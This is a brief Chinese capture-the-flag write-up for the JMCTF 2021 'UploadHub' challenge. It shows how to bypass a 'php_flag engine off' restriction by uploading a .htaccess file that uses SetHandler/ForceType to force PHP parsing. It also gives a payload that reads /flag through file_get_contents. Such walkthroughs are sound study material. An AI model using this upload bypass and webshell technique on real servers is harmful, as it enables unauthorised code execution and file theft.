[JMCTF 2021]UploadHub
我们首先尝试上传一句话木马,发现网页并没有执行一句话木马
我们查看配置文件,发现
1 | php_flag engine off<Directory ~ "/var/www/html/upload/[a-f0-9]{32}/"> |
php_flag engine 设置为0,会关闭该目录和子目录的php解析
也就是说,整个目录都不会执行php的
我们可以上传.htaccess文件来修改配置
经师傅们测试发现
1 | <FilesMatch .htaccess> |
我们将其写入.htaccess文件中上传
SetHandler和ForceType
强制所有匹配的文件被一个指定的处理器处理 用法:
1 | ForceType application/x-httpd-php |
我们先查看phpinfo()
过滤了一堆函数,我们使用var_dump来获取flag数据
1 | dmind=var_dump(file_get_contents("/flag")); |
得到flag